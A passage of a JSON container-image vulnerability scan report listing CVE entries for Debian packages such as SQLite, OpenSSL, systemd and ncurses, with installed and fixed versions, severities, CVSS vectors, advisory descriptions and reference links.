"https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-11822", "PkgID": "libsqlite3-0@3.46.1-7+deb13u1", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "InstalledVersion": "3.46.1-7+deb13u1", "FixedVersion": "3.46.1-7+deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11822", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6dbbd0a4e5588fcab1eefc623132c01ac6a0924ec63f53bf1cc2aafc547c14c5", "Title": "sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data", "Description": "SQLite before 3.53.2 contains an out-of-bounds read vulnerability in the FTS5 full-text search extension that allows attackers to crash the process by supplying a crafted database with a malformed FTS5 leaf page. Attackers can set an oversized term length in the leaf page so that fts5LeafSeek() reads past the end of the page buffer while comparing terms during an FTS5 MATCH query, in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11822", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11822.html", "https://linux.oracle.com/errata/ELSA-2026-61242-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11822", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", "https://sqlite.org/src/info/87b653731171", "https://sqlite.org/src/info/fad98805b7d7", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11822", "https://www.vulncheck.com/advisories/sqlite-before-memory-corruption-in-fts5-extension" ], "PublishedDate": "2026-06-09T20:16:32.15Z", "LastModifiedDate": "2026-10-30T02:17:08.76Z" }, { "VulnerabilityID": "CVE-2026-11824", "PkgID": "libsqlite3-0@3.46.1-7+deb13u1", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "InstalledVersion": "3.46.1-7+deb13u1", "FixedVersion": "3.46.1-7+deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-11824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6a39c3db9b239ca54f932a537d5a3a32f79a669f678aa6d5cd26899b80496dad", "Title": "sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.53.2 contains a heap-based buffer overflow vulnerability in the FTS5 full-text search extension that allows attackers to cause a crash or execute arbitrary code by supplying a crafted database with malicious continuation page metadata specifying a szLeaf value smaller than 4. Attackers can trigger an integer underflow in fts5ChunkIterate() causing an inflated remaining byte count during FTS5 MATCH query processing, leading to a heap buffer overflow of attacker-controlled data in applications compiled with SQLITE_ENABLE_FTS5.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:58936", "https://access.redhat.com/security/cve/CVE-2026-11824", "https://bugzilla.redhat.com/show_bug.cgi?id=2487258", "https://bugzilla.redhat.com/show_bug.cgi?id=2487269", "https://cert-portal.siemens.com/productcert/html/ssa-765416.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11822", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11824", "https://errata.almalinux.org/9/ALSA-2026-58936.html", "https://errata.rockylinux.org/RLSA-2026:58936", "https://linux.oracle.com/cve/CVE-2026-11824.html", "https://linux.oracle.com/errata/ELSA-2026-58938.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-11824", "https://sqlite.org/releaselog/3_53_2.html", "https://sqlite.org/src/info/061febcf41ca", "https://sqlite.org/src/info/4a5ad516ea93", "https://ubuntu.com/security/notices/USN-8480-1", "https://www.cve.org/CVERecord?id=CVE-2026-11824", "https://www.vulncheck.com/advisories/sqlite-before-heap-buffer-overflow-via-fts5-fts5chunkiterate" ], "PublishedDate": "2026-06-09T20:16:32.3Z", "LastModifiedDate": "2026-10-15T02:18:37.653Z" }, { "VulnerabilityID": "CVE-2026-119373", "PkgID": "libsqlite3-0@3.46.1-7+deb13u1", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "InstalledVersion": "3.46.1-7+deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119373", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e6319cef8f8064b5259fb2c2f502b0e8a59d3446ef14bd28c65eae9db0434777", "Title": "sqlite: sqlite: Denial of service via heap-based buffer overflow in FTS5", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5MergeRowidLists() that undersizes the output buffer when merging detail=none prefix doclists. Attackers who can populate a detail=none FTS5 table with negative rowids and run a prefix MATCH query can write past the allocation, corrupting heap memory and crashing the process.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-rowidmerge", "https://access.redhat.com/security/cve/CVE-2026-119373", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L6107", "https://github.com/sqlite/sqlite/commit/e1c9934f9f11a499029abb020ea715a08970da80", "https://nvd.nist.gov/vuln/detail/CVE-2026-119373", "https://sqlite.org/bugs/info/2026-08-04T08:49:27Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/a7f8c92f62", "https://www.cve.org/CVERecord?id=CVE-2026-119373", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-fts5-heap-buffer-overflow-via-fts5mergerowidlists" ], "PublishedDate": "2026-10-30T12:16:36.027Z", "LastModifiedDate": "2026-11-05T21:18:41.047Z" }, { "VulnerabilityID": "CVE-2026-119374", "PkgID": "libsqlite3-0@3.46.1-7+deb13u1", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "InstalledVersion": "3.46.1-7+deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119374", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff99c2c7c8d3da3f4f9345a4c8497a6439d4987840ffa006a52d0825eddebda6", "Title": "sqlite: sqlite: Arbitrary code execution via corrupted FTS5 index", "Description": "SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5DoSecureDelete() that allows attackers to write past the leaf page buffer via crafted footer key offsets. Attackers can supply a database file with a corrupted FTS5 index that, when deleted from with secure-delete enabled, corrupts heap memory and crashes the application.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-fts5-securedel", "https://access.redhat.com/security/cve/CVE-2026-119374", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L5525", "https://github.com/sqlite/sqlite/commit/d9de6eedbe918c074c7556400fa21df5960704d9", "https://nvd.nist.gov/vuln/detail/CVE-2026-119374", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/9cd4f9e920", "https://www.cve.org/CVERecord?id=CVE-2026-119374", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-fts5-fts5dosecuredelete" ], "PublishedDate": "2026-10-30T12:16:36.187Z", "LastModifiedDate": "2026-11-03T16:09:06.143Z" }, { "VulnerabilityID": "CVE-2026-119379", "PkgID": "libsqlite3-0@3.46.1-7+deb13u1", "PkgName": "libsqlite3-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.46.1-7%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "c7da287e696e8198" }, "InstalledVersion": "3.46.1-7+deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119379", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad9f82966766ab32ffd530def8185c5df0eab70f65bc5d3d74023760d1f6f057", "Title": "sqlite: sqlite: Arbitrary code execution via crafted session changesets", "Description": "SQLite before 3.54.0 built with the session extension contains a heap buffer overflow vulnerability in sqlite3changeset_apply() that allows attackers to corrupt heap memory by supplying crafted changesets. Attackers can repeat a table name in a second changeset block with a larger column count, causing sessionUpdateFind() to memset past the undersized aUpdateMask allocation.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://abraxaslabs.tech/research/sqlite-session-ncol", "https://access.redhat.com/security/cve/CVE-2026-119379", "https://github.com/sqlite/sqlite", "https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/session/sqlite3session.c#L5619", "https://github.com/sqlite/sqlite/commit/64459c87cc702d600704fb77ee40ca1782398a52", "https://nvd.nist.gov/vuln/detail/CVE-2026-119379", "https://sqlite.org/bugs/info/2026-08-16T10:15:25Z", "https://sqlite.org/releaselog/3_54_0.html", "https://sqlite.org/src/info/3f57024aecea0f3b", "https://www.cve.org/CVERecord?id=CVE-2026-119379", "https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-session-extension-sessionupdatefind" ], "PublishedDate": "2026-10-30T12:16:36.967Z", "LastModifiedDate": "2026-11-03T15:38:24.827Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "libssl3t64@3.5.6-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "70deb26cae6cb8c2" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:30844834c7b509b408038a3b9f89e04ae15535b5b154eaa9097be2f6ce42ffdf", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "libssl3t64@3.5.6-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "70deb26cae6cb8c2" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36a668628d80a5d6e092b64e3c624befe4acde0dce901d7b977d94b6dd520c69", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libsystemd0@257.13-1~deb13u1", "PkgName": "libsystemd0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsystemd0@257.13-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "a2b4ba47389f858e" }, "InstalledVersion": "257.13-1~deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2a6b7c21d5c9e62166b12bec27c60f1e8e0b511b14ede8ef960fd44e7a44f2c", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libtinfo6@6.5+20250216-2", "PkgName": "libtinfo6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libtinfo6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "ba2c2b464f07108a" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:143dd09ab38ff27f2061f1173c05b2042c406343e6742555bc93ead98cabdd66", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libudev1@257.13-1~deb13u1", "PkgName": "libudev1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libudev1@257.13-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "3b7a2f1a9ab169b" }, "InstalledVersion": "257.13-1~deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 